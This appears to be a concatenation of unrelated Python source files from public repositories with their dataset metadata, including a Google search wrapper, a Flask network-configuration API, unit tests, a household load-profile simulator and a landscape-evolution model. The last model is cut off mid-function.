import warnings from commands.abstract_command import AbstractCommand from config import ConfigKeys, Config from googleapiclient.discovery import build class GoogleSearchCommand(AbstractCommand): def get_purpose(self): return "Performs a google search and returns the top hit." def execute(self, search_term): with warnings.catch_warnings(): warnings.simplefilter("ignore") if search_term is None or search_term == '': return None service = build("customsearch", "v1", developerKey=self.api_key) results = service.cse().list(q=search_term, cx=self.cse_id, num=1).execute() if self._result_set_is_empty(results): return None return results['items'][0] def _result_set_is_empty(self, results): return results['searchInformation']['totalResults'] == '0' def __init__(self): super(GoogleSearchCommand, self) config = Config() self.api_key = config.get_config_value(ConfigKeys.google_api_key) self.cse_id = config.get_config_value(ConfigKeys.google_cse_id)

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5.492537

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0.054348

0.027174

0.043478

0.097826

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0.253002

1,166

31

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0.840413

0

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false

0

0.166667

0.083333

0.583333

0

null

0

null

0

1

0

1

bb4cb07300adc722e5ea30f3413a6aed3a6f72bd

2,972

py

Python

CHIMAclient/client_api.py

ANTLab-polimi/CHIMA

368602b1555ac46a005b9111446c3a7e0952e72d

[ "Apache-2.0" ]

1

2021-12-16T14:50:50.000Z

CHIMAclient/client_api.py

ANTLab-polimi/CHIMA

368602b1555ac46a005b9111446c3a7e0952e72d

[ "Apache-2.0" ]

null

CHIMAclient/client_api.py

ANTLab-polimi/CHIMA

368602b1555ac46a005b9111446c3a7e0952e72d

[ "Apache-2.0" ]

null

#!/usr/bin/python3 from flask import Flask from flask import request from flask import send_file app = Flask(__name__) #To suppress Flask's request logs on stdout import logging from config import * from mpls import * from utils import * from encapsulator.userspace import * #Configured with StubAPI's constructor CLIENT_FLASK_HOST = "" CLIENT_FLASK_PORT = "" class ClientAPI: #Flask method's can't be defined in a class #Configuration parameters are set as global variables through this class def __init__(self, host, port): global DEBUG, CLIENT_FLASK_HOST, CLIENT_FLASK_PORT CLIENT_FLASK_HOST = host CLIENT_FLASK_PORT = port #Runs the flask server in a thread def run_client_server(): global app if not conf.debug: log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) app.run(host=CLIENT_FLASK_HOST, port=CLIENT_FLASK_PORT) #Get new destination / stack association @app.route('/path', methods=['POST']) def add_destination(): data = request.json new = mpls_stack() for val in data["stack"]: new.add_label(val) print("New path %s -> %s, stack: %s, size: %d" % (data["src"], data["dst"], new, new.size) ) src = ip2int(data["src"]) dst = ip2int(data["dst"]) conf.destinations.append((src,dst)) conf.encap.map_inject(src, dst, new) return "OK" #Delete destination @app.route('/path', methods=['DELETE']) def del_destination(): data = request.json print("Deleting path %s -> %s" % (data["src"], data["dst"]) ) src = ip2int(data["src"]) dst = ip2int(data["dst"]) if (src,dst) in conf.destinations: conf.destinations.remove((src, dst)) conf.encap.map_remove(src, dst) return "OK" #Get new ip route @app.route('/route', methods=['POST']) def new_route(): data = request.json set_route(conf.interface, data["subnet"]) conf.installed_subnets.append(data["subnet"]) return "OK" #Remove ip route @app.route('/route', methods=['DELETE']) def del_route(): data = request.json remove_route(data["subnet"]) if data["subnet"] in conf.installed_subnets: conf.installed_subnets.remove(data["subnet"]) return "OK" #Get new static arp @app.route('/arp', methods=['POST']) def new_arp(): data = request.json set_arp(conf.interface, data["ip"], data["mac"]) conf.installed_ips.append(data["ip"]) return "OK" #Remove static arp @app.route('/arp', methods=['DELETE']) def del_arp(): data = request.json remove_arp(conf.interface, data["ip"]) if data["ip"] in conf.installed_ips: conf.installed_ips.remove(data["ip"]) return "OK" #Get new ip @app.route('/ip', methods=['POST']) def new_ip(): data = request.json set_ip(conf.interface, data["ip"]) return "OK" #Remove static arp @app.route('/ip', methods=['DELETE']) def del_ip(): data = request.json remove_ip(conf.interface, data["ip"]) return "OK"

24.766667

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0.253589

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null

0

null

0

1

0

bb4d5f68daee5cc9ce1c6b5d3a404612daf578b0

1,225

py

Python

tests/getHighIntensityRegionEdgeTest.py

yaukwankiu/armor

6c57df82fe3e7761f43f9fbfe4f3b21882c91436

[ "CC0-1.0" ]

1

2015-11-06T06:41:33.000Z

tests/getHighIntensityRegionEdgeTest.py

yaukwankiu/armor

6c57df82fe3e7761f43f9fbfe4f3b21882c91436

[ "CC0-1.0" ]

null

tests/getHighIntensityRegionEdgeTest.py

yaukwankiu/armor

6c57df82fe3e7761f43f9fbfe4f3b21882c91436

[ "CC0-1.0" ]

null

import itertools from armor import pattern from armor import objects4 as ob outputFolder = '/media/TOSHIBA EXT/ARMOR/labLogs2/charts2_local_features_distribution/misc/' def getXY(a, name='', thres=thres): a1 = a.levelSet(thres) a1.show() I, J = np.where(a.matrix==thres) I = I.compressed() J = J.compressed() X, Y = J, I coords = [(X[i], Y[i]) for i in range(len(X))] coordsString = '\n'.join([ str(X[i]) + " " + str(Y[i]) for i in range(len(X))]) fileName = 'coords' + str(thres) + name + "_"+ str(int(time.time()))+'.dat' open(outputFolder+ fileName, 'w').write(coordsString) print "changes written to ", fileName return {'X': X, "Y": Y} thres = 35 a= pattern.a a.load() getXY(a, a.name, thres) thres = 20 wrf = ob.kongreywrf2 wrf.fix() #k = wrf[212].load() ks = [v for v in wrf if v.dataTime =='20130829.1200'] k = ks[13] k.above(thres-0.1).connectedComponents().show() k1 = k.above(thres-0.1).connectedComponents() k1.levelSet(2).show() k2 = k1.levelSet(2) * k.levelSet(20) k2.setMaxMin() k2.show() k3 = k1.levelSet(2) k_ = k*-1 k_ = k_.above(-thres-0.1) k4 = k_ * k3 k4.setMaxMin() k4.show() k4.matrix.sum() d = getXY(k4, k.name + "threshold20_", 2)

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0.025

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null

0

null

0

1

0

1

bb4daa67b3a7c1bebded6811d734bba3fae430ae

105

py

Python

wcics/mail/errors.py

CS-Center/CS-Center

3cd09f29d214406e6618fc67b9faf59a18f3f11b

[ "MIT" ]

null

wcics/mail/errors.py

CS-Center/CS-Center

3cd09f29d214406e6618fc67b9faf59a18f3f11b

[ "MIT" ]

6

2019-12-06T18:06:28.000Z

2021-12-01T20:19:05.000Z

wcics/mail/errors.py

CS-Center/CS-Center

3cd09f29d214406e6618fc67b9faf59a18f3f11b

[ "MIT" ]

null

# -*- coding: utf-8 -*- class MailError(Exception): def __init__(self, addrs): self.failed = addrs

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null

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null

0

1

0

1

0

4

bb4ee9418756d227fb920b5482b1a70d72f470a7

5,163

py

Python

tests/test_cli.py

epandurski/swpt_creditors

35b9c6fa8ec84fe26e203a2604aff9cd5280dc4c

[ "MIT" ]

null

tests/test_cli.py

epandurski/swpt_creditors

35b9c6fa8ec84fe26e203a2604aff9cd5280dc4c

[ "MIT" ]

null

tests/test_cli.py

epandurski/swpt_creditors

35b9c6fa8ec84fe26e203a2604aff9cd5280dc4c

[ "MIT" ]

1

2020-01-16T13:24:31.000Z

import logging from datetime import date, timedelta from swpt_creditors import procedures as p from swpt_creditors import models as m D_ID = -1 C_ID = 4294967296 def _create_new_creditor(creditor_id: int, activate: bool = False): creditor = p.reserve_creditor(creditor_id) if activate: p.activate_creditor(creditor_id, creditor.reservation_id) def test_process_ledger_entries(app, db_session, current_ts): _create_new_creditor(C_ID, activate=True) p.create_new_account(C_ID, D_ID) params = { 'debtor_id': D_ID, 'creditor_id': C_ID, 'creation_date': date(2020, 1, 1), 'last_change_ts': current_ts, 'last_change_seqnum': 1, 'principal': 1000, 'interest': 0.0, 'interest_rate': 5.0, 'last_interest_rate_change_ts': current_ts, 'transfer_note_max_bytes': 500, 'last_config_ts': current_ts, 'last_config_seqnum': 1, 'negligible_amount': 0.0, 'config_flags': 0, 'config_data': '', 'account_id': str(C_ID), 'debtor_info_iri': 'http://example.com', 'debtor_info_content_type': None, 'debtor_info_sha256': None, 'last_transfer_number': 0, 'last_transfer_committed_at': current_ts, 'ts': current_ts, 'ttl': 100000, } p.process_account_update_signal(**params) params = { 'debtor_id': D_ID, 'creditor_id': C_ID, 'creation_date': date(2020, 1, 1), 'transfer_number': 1, 'coordinator_type': 'direct', 'sender': '666', 'recipient': str(C_ID), 'acquired_amount': 200, 'transfer_note_format': 'json', 'transfer_note': '{"message": "test"}', 'committed_at': current_ts, 'principal': 200, 'ts': current_ts, 'previous_transfer_number': 0, 'retention_interval': timedelta(days=5), } p.process_account_transfer_signal(**params) params['transfer_number'] = 2 params['principal'] = 400 params['previous_transfer_number'] = 1 p.process_account_transfer_signal(**params) assert len(p.get_account_ledger_entries(C_ID, D_ID, prev=10000, count=10000)) == 0 runner = app.test_cli_runner() result = runner.invoke(args=['swpt_creditors', 'process_ledger_updates', '--burst=1', '--quit-early', '--wait=0']) assert not result.output assert len(p.get_account_ledger_entries(C_ID, D_ID, prev=10000, count=10000)) == 2 def test_process_log_additions(app, db_session, current_ts): _create_new_creditor(C_ID, activate=True) p.create_new_account(C_ID, D_ID) latest_update_id = p.get_account_config(C_ID, D_ID).config_latest_update_id p.update_account_config( creditor_id=C_ID, debtor_id=D_ID, is_scheduled_for_deletion=True, negligible_amount=1e30, allow_unsafe_deletion=False, latest_update_id=latest_update_id + 1, ) entries1, _ = p.get_log_entries(C_ID, count=10000) runner = app.test_cli_runner() result = runner.invoke(args=['swpt_creditors', 'process_log_additions', '--wait=0', '--quit-early']) assert result.exit_code == 0 assert not result.output entries2, _ = p.get_log_entries(C_ID, count=10000) assert len(entries2) > len(entries1) def test_configure_interval(app, db_session, current_ts, caplog): caplog.at_level(logging.ERROR) ac = m.AgentConfig.query.one_or_none() if ac and ac.min_creditor_id == m.MIN_INT64: min_creditor_id = m.MIN_INT64 + 1 max_creditor_id = m.MAX_INT64 else: min_creditor_id = m.MIN_INT64 max_creditor_id = m.MAX_INT64 runner = app.test_cli_runner() caplog.clear() result = runner.invoke(args=[ 'swpt_creditors', 'configure_interval', '--', str(m.MIN_INT64 - 1), '-1']) assert result.exit_code != 0 assert 'not a valid creditor ID' in caplog.text caplog.clear() result = runner.invoke(args=[ 'swpt_creditors', 'configure_interval', '--', '1', str(m.MAX_INT64 + 1)]) assert result.exit_code != 0 assert 'not a valid creditor ID' in caplog.text caplog.clear() result = runner.invoke(args=[ 'swpt_creditors', 'configure_interval', '--', '2', '1']) assert result.exit_code != 0 assert 'invalid interval' in caplog.text caplog.clear() result = runner.invoke(args=[ 'swpt_creditors', 'configure_interval', '--', '-1', '1']) assert result.exit_code != 0 assert 'contains 0' in caplog.text caplog.clear() result = runner.invoke(args=[ 'swpt_creditors', 'configure_interval', '--', '1', str(max_creditor_id)]) assert result.exit_code == 0 assert not result.output ac = m.AgentConfig.query.one() assert ac.min_creditor_id == 1 assert ac.max_creditor_id == max_creditor_id caplog.clear() result = runner.invoke(args=[ 'swpt_creditors', 'configure_interval', '--', str(min_creditor_id), '-1']) assert result.exit_code == 0 assert not result.output ac = m.AgentConfig.query.one() assert ac.min_creditor_id == min_creditor_id assert ac.max_creditor_id == -1

34.192053

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0.055784

0.533122

0.487797

0.430745

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0.395246

0.381933

0

0.035608

0.216734

5,163

150

119

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0.74456

0

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0

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0

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1

0.030534

false

0

0.030534

0

0.061069

0

null

0

null

0

1

0

bb4f9fcdd845899468417c334c142d81c1bbc6d8

888

py

Python

pajbot/web/routes/base/playsounds.py

KasperHelsted/pajbot

c366dcfc5e6076f9adcfce24c7a666653068b031

[ "MIT" ]

null

pajbot/web/routes/base/playsounds.py

KasperHelsted/pajbot

c366dcfc5e6076f9adcfce24c7a666653068b031

[ "MIT" ]

null

pajbot/web/routes/base/playsounds.py

KasperHelsted/pajbot

c366dcfc5e6076f9adcfce24c7a666653068b031

[ "MIT" ]

1

2020-03-11T19:37:10.000Z

from flask import render_template from pajbot.managers.db import DBManager from pajbot.models.module import Module from pajbot.models.playsound import Playsound from pajbot.modules import PlaysoundModule def init(app): @app.route("/playsounds/") def user_playsounds(): with DBManager.create_session_scope() as session: playsounds = session.query(Playsound).filter(Playsound.enabled).all() playsound_module = session.query(Module).filter(Module.id == PlaysoundModule.ID).one_or_none() enabled = False if playsound_module is not None: enabled = playsound_module.enabled return render_template( "playsounds.html", playsounds=playsounds, module_settings=PlaysoundModule.module_settings(), playsounds_enabled=enabled, )

34.153846

106

0.665541

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888

6.282609

0.434783

0.069204

0.055363

0

0.256757

888

25

107

35.52

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0

1

0.1

false

0

0.25

0

0.4

0

null

0

null

0

1

0

bb50ddc7c9fdf4690ca7e9bb60ec4a0df3dd0ba9

1,542

py

Python

cla_backend/apps/timer/tests/test_managers.py

uk-gov-mirror/ministryofjustice.cla_backend

4d524c10e7bd31f085d9c5f7bf6e08a6bb39c0a6

[ "MIT" ]

3

2019-10-02T15:31:03.000Z

2022-01-13T10:15:53.000Z

cla_backend/apps/timer/tests/test_managers.py

uk-gov-mirror/ministryofjustice.cla_backend

4d524c10e7bd31f085d9c5f7bf6e08a6bb39c0a6

[ "MIT" ]

206

2015-01-02T16:50:11.000Z

2022-02-16T20:16:05.000Z

cla_backend/apps/timer/tests/test_managers.py

uk-gov-mirror/ministryofjustice.cla_backend

4d524c10e7bd31f085d9c5f7bf6e08a6bb39c0a6

[ "MIT" ]

6

2015-03-23T23:08:42.000Z

2022-02-15T17:04:44.000Z

from django.test import TestCase from django.utils import timezone from django.db import IntegrityError from django.core.exceptions import MultipleObjectsReturned from core.tests.mommy_utils import make_recipe, make_user from timer.models import Timer class RunningTimerManagerTestCase(TestCase): def test_query_set(self): timer1 = make_recipe("timer.Timer", stopped=None) make_recipe("timer.Timer", stopped=timezone.now()) timer3 = make_recipe("timer.Timer", stopped=None) make_recipe("timer.Timer", cancelled=True) timers = Timer.running_objects.all() self.assertItemsEqual(timers, [timer1, timer3]) def test_get_by_user_fails_with_multiple_timers(self): try: user = make_user() make_recipe("timer.Timer", stopped=None, created_by=user, _quantity=2) Timer.running_objects.get_by_user(user) except (MultipleObjectsReturned, IntegrityError): pass else: self.assertTrue(False, "It should raise MultipleObjectsReturned or IntegrityError") def test_get_by_user_fails_when_no_timer(self): user = make_user() make_recipe("timer.Timer", stopped=timezone.now(), created_by=user) self.assertRaises(IndexError, Timer.running_objects.get_by_user, user) def test_get_by_user_returns_timer(self): user = make_user() timer = make_recipe("timer.Timer", stopped=None, created_by=user) self.assertEqual(Timer.running_objects.get_by_user(user), timer)

35.860465

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0.051331

0.09981

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0.180608

0.096958

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0.194553

1,542

42

96

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0

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0.0869

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0

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1

0.129032

false

0.032258

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0

0.354839

0

null

0

null

0

1

0

bb51cff9c7fd98ea2e3be2188c9165fb1f513dcf

372

py

Python

02-python-oo/aula-05/exemplos/train.py

opensanca/trilha-python

9ffadd266e22a920a3c1acfdbc6a5a4645fce9d6

[ "MIT" ]

47

2016-05-19T22:37:18.000Z

2022-02-22T02:34:18.000Z

02-python-oo/aula-05/exemplos/train.py

opensanca/trilha-python

9ffadd266e22a920a3c1acfdbc6a5a4645fce9d6

[ "MIT" ]

21

2016-05-20T12:35:25.000Z

2016-07-26T00:23:33.000Z

02-python-oo/aula-05/exemplos/train.py

lamenezes/python-intro

9ffadd266e22a920a3c1acfdbc6a5a4645fce9d6

[ "MIT" ]

25

2016-05-19T22:52:32.000Z

2022-01-08T15:15:36.000Z

""" Cria uma classe trem que possui carros. O trem é iterável e cada elemento retornado pela iteração retorna um sring com o número do carro. """ class Train: def __init__(self, cars): self.cars = cars def __len__(self): # len(train) return self.cars def __iter__(self): return ('car #{}'.format(i + 1) for i in range(self.cars))

23.25

73

0.642473

56

372

4.053571

0.696429

0.140969

0

0.003597

0.252688

372

15

74

24.8

0.81295

0.400538

0

0.032558

0

1

0.428571

false

0

0.285714

0.857143

0

null

0

null

0

1

0

1

0

3

bb52f0733efe5513920fdebfb1eef593a99fcd79

471

py

Python

home/migrations/0003_auto_20210622_1116.py

screw-pack/hazel

ade9b6c6a396b3da2bb2d5505cfb63e1579cdab8

[ "MIT" ]

null

home/migrations/0003_auto_20210622_1116.py

screw-pack/hazel

ade9b6c6a396b3da2bb2d5505cfb63e1579cdab8

[ "MIT" ]

null

home/migrations/0003_auto_20210622_1116.py

screw-pack/hazel

ade9b6c6a396b3da2bb2d5505cfb63e1579cdab8

[ "MIT" ]

null

# Generated by Django 3.2.4 on 2021-06-22 09:16 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('home', '0002_auto_20210618_1545'), ] operations = [ migrations.AlterModelOptions( name='activity', options={'ordering': ['start_time']}, ), migrations.AlterModelOptions( name='agenda', options={'ordering': ['entry']}, ), ]

21.409091

49

0.562633

43

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6.069767

0.790698

0.206897

0.237548

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0

null

1

0

1

0

null

0

3

bb52f288b0e795d00e5f3bf63b427429792a24ad

9,486

py

Python

house_load_profiler.py

gianmarco-lorenti/RECOpt

c7916861db033f9d917d05094102194202e3bb09

[ "MIT" ]

8

2021-03-08T09:30:16.000Z

2022-02-18T19:40:41.000Z

house_load_profiler.py

gianmarco-lorenti/RECOpt

c7916861db033f9d917d05094102194202e3bb09

[ "MIT" ]

null

house_load_profiler.py

gianmarco-lorenti/RECOpt

c7916861db033f9d917d05094102194202e3bb09

[ "MIT" ]

1

2021-05-24T13:21:36.000Z

# -*- coding: utf-8 -*- """ Created on Wed Oct 28 18:37:58 2020 @author: giamm """ # from tictoc import tic, toc import numpy as np import datareader #routine created to properly read the files needed in the following from load_profiler import load_profiler as lp ############################################################################### # This file contains a method that, for a given household (considering its # availability of each appliance considered in this study) returns the electric # load profile for the household during one day (1440 min), with a resolution # of 1 minute. ############################################################################### ########## Routine def house_load_profiler(time_dict, apps_availability, day, season, appliances_data, **params): ''' The method returns a load profile for a given household in a total simulation time of 1440 min, with a timestep of 1 min. Inputs: apps_availability - 1d-array, availability of each appliance for the household is stored (1 if present, 0 if not) day - str, type of day (weekday: 'wd'| weekend: 'we') season - str, season (summer: 's', winter: 'w', autumn or spring: 'ap') appliances_data - dict, various input data related to the appliances params - dict, simulation parameters Outputs: house_load_profile - 1d-array, load profile for the household (W) energy - 1d-array, energy consumed by each appliance in one day (Wh/day) ''' ## Time # Time discretization for the simulation # Time-step (min) dt = time_dict['dt'] # Total time of simulation (min) time = time_dict['time'] # Vector of time from 00:00 to 23:59 (one day) (min) time_sim = time_dict['time_sim'] ## Parameters # Simulation parameters that can be changed from the user # Contractual power for each household (W) power_max = params['power_max']*1000 ## Input data for the appliances # Appliances' attributes, energy consumptions and user's coefficients # apps is a 2d-array in which, for each appliance (rows) and attribute value is given (columns) apps_ID = appliances_data['apps_ID'] # apps_attr is a dictionary in which the name of each attribute (value) is linked to its columns number in apps (key) apps_attr = appliances_data['apps_attr'] ## Household's load profile # Generating the load profile for the house, considering which appliances are available # Initializing the power vector for the load profile (W) house_load_profile = np.zeros(np.shape(time_sim)) # Initializing the vector where to store the energy consumption from each appliance (Wh/day) energy = np.zeros(len(apps_ID)) # Using the method load_profiler(lp) to get the load profile for each appliance for app in apps_ID: # The ID number of the appliance is stored in a variable since it will be used man times app_ID = apps_ID[app][apps_attr['id_number']] # Skipping appliances that are not present in the household if apps_availability[app_ID] == 0: continue load_profile = lp(time_dict, app, day, season, appliances_data, **params) #load_profile has to outputs (time and power) # In case the instantaneous power exceedes the maximum power, some tries # are made in order to change the moment in which the next appliance is # switched on (since it is evaluated randomly, according to the cumulative # frequency of utilization for that appliance) count = 0 maxtries = 10 duration_indices = np.size(load_profile[load_profile > 0]) while np.any(house_load_profile + load_profile > power_max) and count < maxtries: switch_on_index = np.size((house_load_profile + load_profile)[house_load_profile + load_profile > power_max]) roll_step = int((duration_indices + switch_on_index)/2) load_profile = np.roll(load_profile, roll_step) count += 1 # Evaluating the energy consumption from each appliance by integrating # the load profile over the time. Since the time is in minutes, the # result is divided by 60 in order to obtain Wh. energy[app_ID] = np.trapz(load_profile,time_sim)/60 # Injecting the power demand from each appliance into the load profile of the household house_load_profile[:] = house_load_profile[:] + load_profile # In case the which loop failed, the instantaneous power is saturated to the # maximum power anyway. This may happen because the last appliance to be considered # is the lighting, which is of "continuous" type, therefore its profile does # not depend on a cumulative frequency (they are always on) house_load_profile[house_load_profile > power_max] = power_max return(house_load_profile,energy) ##################################################################################################################### # ## Uncomment the following lines to test the function # import matplotlib.pyplot as plt # from tictoc import tic, toc # # Time-step, total time and vector of time from 00:00 to 23:59 (one day) (min) # dt = 1 # time = 1440 # time_sim = np.arange(0,time,dt) # # Creating a dictionary to be passed to the various methods, containing the time discretization # time_dict = { # 'time': time, # 'dt': dt, # 'time_sim': time_sim, # } # apps, apps_ID, apps_attr = datareader.read_appliances('eltdome_report.csv',';','Input') # ec_yearly_energy, ec_levels_dict = datareader.read_enclasses('classenerg_report.csv',';','Input') # coeff_matrix, seasons_dict = datareader.read_enclasses('coeff_matrix.csv',';','Input') # apps_avg_lps = {} # apps_dcs = {} # for app in apps_ID: # # app_nickname is a 2 or 3 characters string identifying the appliance # app_nickname = apps_ID[app][apps_attr['nickname']] # # app_type depends from the work cycle for the appliance: 'continuous'|'no_duty_cycle'|'duty_cycle'| # app_type = apps_ID[app][apps_attr['type']] # # app_wbe (weekly behavior), different usage of the appliance in each type of days: 'wde'|'we','wd' # app_wbe = apps_ID[app][apps_attr['week_behaviour']] # # app_sbe (seasonal behavior), different usage of the appliance in each season: 'sawp'|'s','w','ap' # app_sbe = apps_ID[app][apps_attr['season_behaviour']] # # Building the name of the file to be opened and read # fname_nickname = app_nickname # fname_type = 'avg_loadprof' # apps_avg_lps[app] = {} # for season in app_sbe: # fname_season = season # for day in app_wbe: # fname_day = day # filename = '{}_{}_{}_{}.csv'.format(fname_type, fname_nickname, fname_day, fname_season) # # Reading the time and power vectors for the load profile # data_lp = datareader.read_general(filename,';','Input') # # Time is stored in hours and converted to minutes # time_lp = data_lp[:, 0] # time_lp = time_lp*60 # # Power is already stored in Watts, it corresponds to the load profile # power_lp = data_lp[:, 1] # load_profile = power_lp # # Interpolating the load profile if it has a different time-resolution # if (time_lp[-1] - time_lp[0])/(np.size(time_lp) - 1) != dt: # load_profile = np.interp(time_sim, time_lp, power_lp, period = time) # apps_avg_lps[app][(season, day)] = load_profile # if app_type == 'duty_cycle': # fname_type = 'dutycycle' # filename = '{}_{}.csv'.format(fname_type, fname_nickname) # # Reading the time and power vectors for the duty cycle # data_dc = datareader.read_general(filename, ';', 'Input') # # Time is already stored in minutes # time_dc = data_dc[:, 0] # # Power is already stored in Watts, it corresponds to the duty cycle # power_dc = data_dc[:, 1] # duty_cycle = power_dc # # Interpolating the duty-cycle, if it has a different time resolution # if (time_dc[-1] - time_dc[0])/(np.size(time_dc) - 1) != dt: # time_dc = np.arange(time_dc[0], time_dc[-1] + dt, dt) # duty_cycle = np.interp(time_dc, power_dc) # apps_dcs[app] = {'time_dc': time_dc, # 'duty_cycle': duty_cycle} # appliances_data = { # 'apps': apps, # 'apps_ID': apps_ID, # 'apps_attr': apps_attr, # 'ec_yearly_energy': ec_yearly_energy, # 'ec_levels_dict': ec_levels_dict, # 'coeff_matrix': coeff_matrix, # 'seasons_dict': seasons_dict, # 'apps_avg_lps': apps_avg_lps, # 'apps_dcs': apps_dcs, # } # params = { # 'power_max': 3, # 'en_class': 'D', # 'toll': 15, # 'devsta': 2, # 'ftg_avg': 100 # } # apps_availability = np.ones(17) # day = 'wd' # season = 's' # house_load_profile, energy = house_load_profiler(time_dict, apps_availability, day, season, appliances_data, **params) # plt.bar(time_sim,house_load_profile,width=dt,align='edge') # plt.show() ######################################################################################################################################

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null

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bb542cac2a03cdb3c031650c9fa28df93e7a1256

309

py

Python

ex9-11.py

yiyidhuang/PythonCrashCrouse2nd

3512f9ab8fcf32c6145604a37e2a62feddf174d1

[ "MIT" ]

null

ex9-11.py

yiyidhuang/PythonCrashCrouse2nd

3512f9ab8fcf32c6145604a37e2a62feddf174d1

[ "MIT" ]

null

ex9-11.py

yiyidhuang/PythonCrashCrouse2nd

3512f9ab8fcf32c6145604a37e2a62feddf174d1

[ "MIT" ]

null

from admins import Admin, Privileges eric = Admin('eric', 'matthes', 'e_mattches', 'e_mattches@example.com', 'alaska') eric_privileges = [ 'can reset passwords', 'can moderate discussions', 'can suspend accounts', ] eric.privileges.privileges = eric_privileges eric.privileges.show_privileges()

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bb5494d212a707197321c71bdad0900003edabec

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py

Python

sample_synth02/make_config.py

clinfo/DeepKF

ee4f1be28e5f3bfa46bb47dbdc4d5f678eed36c1

[ "MIT" ]

5

2019-12-19T13:33:36.000Z

2021-06-01T06:08:16.000Z

sample_synth02/make_config.py

clinfo/DeepKF

ee4f1be28e5f3bfa46bb47dbdc4d5f678eed36c1

[ "MIT" ]

24

2020-03-03T19:40:55.000Z

2021-05-26T15:27:38.000Z

sample_synth02/make_config.py

clinfo/DeepKF

ee4f1be28e5f3bfa46bb47dbdc4d5f678eed36c1

[ "MIT" ]

1

2019-12-19T13:35:07.000Z

import numpy as np import os import json import matplotlib matplotlib.use('Agg') from matplotlib import pyplot as plt os.makedirs("data",exist_ok=True) np.random.seed(10) filename="config_base.json" o=json.load(open(filename)) print(o) for j in range(10): i=j+1 o['data_train_npy']='data/data_train.n'+str(i)+'.npy' o['data_test_npy']='data/data_test.n'+str(i)+'.npy' path="experiments/result_base_"+str(i)+"/" o["result_path"]=path os.makedirs(path,exist_ok=True) cfg_path="experiments/config/" os.makedirs(cfg_path,exist_ok=True) filename=cfg_path+"/config_base"+str(i)+".json" print(filename) f = open(filename, "w") json.dump(o, f) filename="config_pot.json" o=json.load(open(filename)) print(o) for j in range(10): i=j+1 o['data_train_npy']='data/data_train.n'+str(i)+'.npy' o['data_test_npy']='data/data_test.n'+str(i)+'.npy' path="experiments/result_pot_"+str(i)+"/" o["result_path"]=path os.makedirs(path,exist_ok=True) cfg_path="experiments/config/" os.makedirs(cfg_path,exist_ok=True) filename=cfg_path+"/config_pot"+str(i)+".json" print(filename) f = open(filename, "w") json.dump(o, f)

25.020833

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0.041237

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1

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null

0

5

bb55579c6f96ecbc21cea483d25ad02b38e7aa01

92

py

Python

plot_bokeh/__init__.py

amarkpayne/ampayne_tools

a47e9baa70edaedfb655ab51f79bf5035eaacd83

[ "MIT" ]

null

plot_bokeh/__init__.py

amarkpayne/ampayne_tools

a47e9baa70edaedfb655ab51f79bf5035eaacd83

[ "MIT" ]

null

plot_bokeh/__init__.py

amarkpayne/ampayne_tools

a47e9baa70edaedfb655ab51f79bf5035eaacd83

[ "MIT" ]

null

from __future__ import absolute_import, print_function from plot_bokeh.plot_bokeh import *

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1

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7

bb5619127572d5c7abef2ce8289d84bfdb46675d

6,075

py

Python

content/model_funcs.py

nathanlyons/sensitivity_analysis_clinic_CSDMS_2019

ca1ae2cdc5239bae755929f6a92d669a82192813

[ "MIT" ]

null

content/model_funcs.py

nathanlyons/sensitivity_analysis_clinic_CSDMS_2019

ca1ae2cdc5239bae755929f6a92d669a82192813

[ "MIT" ]

null

content/model_funcs.py

nathanlyons/sensitivity_analysis_clinic_CSDMS_2019

ca1ae2cdc5239bae755929f6a92d669a82192813

[ "MIT" ]

null

"""Model functions sensitivity analysis clinic at CSDMS 2019. Written by Nathan Lyons, May 2019 """ from os.path import join from landlab import RasterModelGrid from landlab.components import FastscapeEroder, FlowAccumulator, LinearDiffuser from landlab.io import write_esri_ascii import numpy as np import experiment_funcs as ef def calculate_factor_values(levels): """Calculate values of trial factors. Parameters ---------- levels : dictionary The factor levels of the trial. Returns ------- dictionary Calculated factor values. """ # Set parameters based on factor levels. f = { 'U': 10**levels['U_exp'], 'K': 10**levels['K_exp'], 'D': 10**levels['D_exp'], 'base_level_fall': 10**levels['base_level_fall']} return f def run_model(f, output_path): """Run a trial of the base level fall model. Parameters ---------- f : dictionary Model trial factors. output_path : string Path where outputs will be saved. """ # Set parameters. nrows = 200 ncols = 100 dx = 100 dt = 1000 # Create initial topography with random elevation values. mg = RasterModelGrid(nrows, ncols, dx) z = mg.add_zeros('node', 'topographic__elevation') np.random.seed(1) z += np.random.rand(z.size) mg.set_closed_boundaries_at_grid_edges(right_is_closed=True, top_is_closed=False, left_is_closed=True, bottom_is_closed=False) # Instantiate model components. fa = FlowAccumulator(mg, flow_director='D8') sp = FastscapeEroder(mg, K_sp=f['K'], m_sp=0.5, n_sp=1) ld = LinearDiffuser(mg, linear_diffusivity=f['D'], deposit=False) # Set variables to evaluate presence of steady state. initial_conditions_set = False at_steady_state = False relief_record = [] recent_mean = [] recent_std = [] step = 0 # Set number of time steps, `steps_ss` that is the time window to evaluate # steady state. steps_ss = 1000 # Create a dictionary to store responses. response = {} # Run model until steady state is reached. uplift_per_step = f['U'] * dt core_mask = mg.node_is_core() print('Running model until elevation reaches steady state.') while not at_steady_state: fa.run_one_step() sp.run_one_step(dt) ld.run_one_step(dt) z[core_mask] += uplift_per_step at_steady_state = check_steady_state(step * dt, z, step, steps_ss, relief_record, recent_mean, recent_std) if at_steady_state and not initial_conditions_set: initial_conditions_set = True # Save elevation of the initial conditions. fn = join(output_path, 'initial_conditions_elevation.asc') write_esri_ascii(fn, mg, ['topographic__elevation'], clobber=True) # Retain steady state relief, `relief_ss`. z_core = z[mg.core_nodes] relief_ss = z_core.max() - z_core.min() response['relief_at_steady_state'] = relief_ss # Find steady state divide position. divide_y_coord_initial = get_divide_position(mg) # Perturb elevation. base_level_nodes = mg.y_of_node == 0 z[base_level_nodes] -= f['base_level_fall'] at_steady_state = False elif at_steady_state and initial_conditions_set: response['time_back_to_steady_state'] = step * dt # Get divide migration distance. divide_y_coord_final = get_divide_position(mg) d = divide_y_coord_final - divide_y_coord_initial response['divide_migration_distance'] = d # Save final elevation. fn = join(output_path, 'final_elevation.asc') write_esri_ascii(fn, mg, ['topographic__elevation'], clobber=True) # Advance step counter. step += 1 # Write response to file. path_r = join(output_path, 'response.csv') ef.write_data(response, path_r) def check_steady_state(time, z, step, step_win, relief_record, recent_mean, recent_std): relief_record.append(z.max() - z.min()) if step < step_win: # If fewer than `step_win` time steps have occurred, calculate the # running mean and standard deviation the entire elapsed time period. recent_mean.append(np.mean(relief_record)) recent_std.append(np.std(relief_record)) else: # If more than 